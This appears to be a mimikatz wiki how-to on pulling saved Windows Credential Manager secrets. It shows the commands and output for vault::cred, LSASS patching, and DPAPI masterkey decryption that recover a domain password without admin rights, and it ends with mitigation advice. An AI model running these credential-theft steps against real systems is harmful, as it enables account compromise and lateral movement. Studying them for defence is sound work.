

howto ~ credential manager saved credentials

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There are some ways to get saved credentials from the Credential Manager

The normal, the standard, the usual way...

With `mimikatz` it's easy as: `vault::cred`

```
mimikatz # vault::cred
TargetName : genaddr / <NULL>
UserName   : genuser
Comment    : <NULL>
Type       : 1 - generic
Persist    : 3 - enterprise
Flags      : 00000000
Credential : genpass
Attributes : 0

TargetName : domsrv / <NULL>
UserName   : domusr
Comment    : <NULL>
Type       : 2 - domain_password
Persist    : 3 - enterprise
Flags      : 00000000
Credential :
Attributes : 0

TargetName : LegacyGeneric:target=genaddr / <NULL>
UserName   : genuser
Comment    : <NULL>
Type       : 1 - generic
Persist    : 3 - enterprise
Flags      : 00000000
Credential : genpass
Attributes : 0

TargetName : Domain:target=domsrv / <NULL>
UserName   : domusr
Comment    : <NULL>
Type       : 2 - domain_password
Persist    : 3 - enterprise
```

```
Flags      : 00000000
Credential :
Attributes : 0
```

No magic behind: it uses the standard API `CredEnumerate` , with `Flags` at 0 then `CRED_ENUMERATE_ALL_CREDENTIALS` to try to get them all.

Mixed with: `vault::list` , it's enough to get a lots of credentials for the current user (especially Web stuff).

Problem

CredentialBlob



Secret data for the credential. The CredentialBlob member can be both read and written.

If the Type member is `CRED_TYPE_DOMAIN_PASSWORD` , this member contains the plaintext Unicode password for UserName. The `CredentialBlob` and `CredentialBlobSize` members do not include a trailing zero character. Also, for `CRED_TYPE_DOMAIN_PASSWORD` , **this member can only be read by the authentication packages.**

<http://msdn.microsoft.com/library/windows/desktop/aa374788.aspx>

Workaround

So, if we want access to network shares saved credentials, RDP passwords, etc., we need to be admin to alter `LSASS` in order to:

- patch its logic (prevent `LSASS` to check if type is `CRED_TYPE_DOMAIN_PASSWORD`) - this is the current behavior of the `/patch` argument.
- inject a thread or a module in `LSASS` to be seen as an authentication packages

Danger

high voltage



This operation will alter `LSASS` and is **NOT** recommended, especially when you can use the `DPAPI` method.

DPAPI (all the things)

a basic introduction on `DPAPI` stuff is here: [module ~ dpapi](#)

Like exposed in <https://1drv.ms/x/s!AIQCT5PF61KjmCAhhYO0flOcZE4e>, credentials are stored in user's profile. Usually in:

- %appdata%\Microsoft\Credentials
- %localappdata%\Microsoft\Credentials

Let's take a look

Asking `dpapi` module, `cred` function of `mimikatz`, you can view the "content" of a credential file.

```
mimikatz # dpapi::cred /in:"%appdata%\Microsoft\Credentials\85E671988F9A2D1981A4B6791F9A4EE8"  
**BLOB**  
dwVersion          : 00000001 - 1  
guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}  
dwMasterKeyVersion : 00000001 - 1  
guidMasterKey      : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}  
dwFlags            : 20000000 - 536870912 (system ; )  
dwDescriptionLen   : 00000050 - 80  
szDescription      : Données d'identification d'entreprise  
  
algCrypt           : 00006603 - 26115 (CALG_3DES)  
dwAlgCryptLen     : 000000c0 - 192  
dwSaltLen         : 00000010 - 16  
pbSalt            : 024e83a1b7c1412251dd2718126fca84  
dwHmacKeyLen      : 00000000 - 0  
pbHmackKey        :  
algHash           : 00008004 - 32772 (CALG_SHA1)  
dwAlgHashLen     : 000000a0 - 160  
dwHmac2KeyLen    : 00000010 - 16  
pbHmack2Key       : e2bbe3a6e2fe7120ad9000afc3aa5ec2  
dwDataLen        : 00000090 - 144  
pbData           : 9ee6d5c1385baac832fdd3ed1fb21719fc643806df27deb30a0f0b80bfe6258fbd86dc4dfe920b8ad39653b0  
dwSignLen        : 00000014 - 20  
pbSign           : d0f3cb42d4f7aa0253a9229c6da5c6697448887f
```

What is interesting here:

- `dwFlags : 20000000 - 536870912 (system ;)` this is the "bad" new... the `DPAPI` protected the blob with the `CRYPTPROTECT_SYSTEM` flag, preventing an unprivileged process to decrypt the blob... (~= not you, only `LSASS`)
- `guidMasterKey : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}` this is the `GUID` of the masterkey needed to decrypt the blob. `LSASS` has it in its cache, or will be able to load it on the fly when needed...

Decrypt

Naive approach

Because of the `system` flag (protected by the signature of the blob - we can't alter it), `LSASS` will refuse to unprotect the blob for us...

```
Decrypting Credential:  
* using CryptUnprotectData API  
ERROR kuhl_m_dpapi_unprotect_raw_or_blob ; CryptUnprotectData (0x0000000d)
```



The masterkey

Here, thanks to the previous GUID we know that the masterkey is located in: %appdata%\Microsoft\Protect\
<usersid>\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2

```
mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1719172562-3308538836-3929312420-1104\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2"
**MASTERKEYS**
dwVersion      : 00000002 - 2
szGuid         : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
dwFlags        : 00000000 - 0
dwMasterKeyLen : 00000088 - 136
dwBackupKeyLen : 00000068 - 104
dwCredHistLen  : 00000000 - 0
dwDomainKeyLen : 00000174 - 372
[masterkey]
**MASTERKEY**
dwVersion      : 00000002 - 2
salt           : 704f7ca8be647c20dc36e8ae4127966b
rounds         : 00004650 - 18000
algHash        : 00008009 - 32777 (CALG_HMAC)
algCrypt       : 00006603 - 26115 (CALG_3DES)
pbKey          : 1277546c39d446616022d57823d8337b20b89ef8077dd68acdf65a38ef60310ab66175eeb766a39d66cdc0cb1
[backupkey]
**MASTERKEY**
dwVersion      : 00000002 - 2
salt           : 3afaf040c982786cfa36342d8005a16f
rounds         : 00004650 - 18000
algHash        : 00008009 - 32777 (CALG_HMAC)
algCrypt       : 00006603 - 26115 (CALG_3DES)
pbKey          : d9c4e107b6eda306d7b4bf09a23693165d2faa6d52f509c0c4a8cbf08950919024176739d11d82d1e4e6f1659
[domainkey]
**DOMAINKEY**
dwVersion      : 00000002 - 2
dwSecretLen    : 00000100 - 256
dwAccesscheckLen : 00000058 - 88
guidMasterKey  : {9c71e914-1ed5-4338-8461-4dcc363553be}
pbSecret       : dd39d20bd5ea9b9b677c1ada3da052cc240476185020337a96df497bd9b46dbf499d5c02d341721d55d3087ac
pbAccesscheck  : 2c5332354ab0bf2ec0fdb17489661e8785532feb72fc491c978cec342f714665e570904642434cc3852ef18c
```


CREDENTIALS cache

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MASTERKEYS cache

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GUID: {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2};KeyHash:81c99543dea591c11f20d69027ea2016d89d07dd

DOMAINKEYS cache

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With the key in the `mimikatz` cache, we can display a last time the credential file:

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dwMasterKeyVersion : 00000001 - 1  
guidMasterKey      : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}  
dwFlags            : 20000000 - 536870912 (system ; )  
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dwSignLen        : 00000014 - 20  
pbSign           : d0f3cb42d4f7aa0253a9229c6da5c6697448887f  
  
Decrypting Credential:  
* volatile cache: GUID: {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2};KeyHash:81c99543dea591c11f20d69027ea2016d89d07dd  
**CREDENTIAL**  
credFlags         : 00000030 - 48  
credSize          : 0000008e - 142  
credUnk0         : 00000000 - 0  
  
Type              : 00000002 - 2 - domain_password  
Flags             : 00000000 - 0
```

```
LastWritten      : 11/12/2017 19:58:36
unkFlagsOrSize  : 00000010 - 16
Persist         : 00000003 - 3 - enterprise
AttributeCount  : 00000000 - 0
unk0            : 00000000 - 0
unk1           : 00000000 - 0
TargetName     : Domain:target=domsrv
UnkData        : (null)
Comment        : (null)
TargetAlias    : (null)
UserName       : domusr
CredentialBlob : dompass
Attributes     : 0
```

Good, we now have credentials:

- Server: domsrv
- UserName: domusr
- Password: dompass

Without any particular rights.



What you can do?

Nearly nothing... the ability to decrypt its own masterkeys by RPC is by protocol/design... and is needed when using smartcard or when loosing passwords.

But, storing domain credentials in the credential manager is a bad practice... even Microsoft recommend to disable it... (but in the name of legacy, will enable it by default)

Best practices

It is a recommended practice to disable the ability of the Windows operating system to cache credentials on any computer where credentials are not needed. Evaluate your servers and workstations to determine the requirements. Cached credentials are designed primarily to be used on laptops that require domain credentials when disconnected from the domain.

Original text and GPO to disable this kind of sensitive storage:

<https://technet.microsoft.com/library/jj852185.aspx>